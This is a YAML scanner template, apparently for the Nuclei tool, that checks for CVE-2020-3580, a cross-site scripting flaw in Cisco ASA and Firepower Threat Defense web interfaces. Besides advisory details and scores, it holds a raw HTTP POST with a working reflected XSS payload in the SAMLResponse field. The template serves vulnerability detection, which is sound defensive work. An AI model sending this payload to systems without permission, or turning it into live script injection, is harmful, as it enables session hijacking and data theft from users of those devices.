55 lines
2.6 KiB
YAML
55 lines
2.6 KiB
YAML
id: CVE-2020-3580
|
|
|
|
info:
|
|
name: Cisco ASA/FTD Software - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: |
|
|
Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability.
|
|
reference:
|
|
- https://twitter.com/ptswarm/status/1408050644460650502
|
|
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-3580
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-3580
|
|
cwe-id: CWE-79
|
|
epss-score: 0.97048
|
|
epss-percentile: 0.99705
|
|
cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: cisco
|
|
product: firepower_threat_defense
|
|
tags: cve,cve2020,xss,cisco,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<svg/onload=alert(/{{randstr}}/)>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100a22843600fa540dd4035057b8812dca1cabaf0cb179c022be93bcd61aa640a6702200ad6f005a0c0b15427d37ec3fbbb81e0edea63010d20973f1d3760735d993b11:922c64590222798bb761d5b6d8e72950 |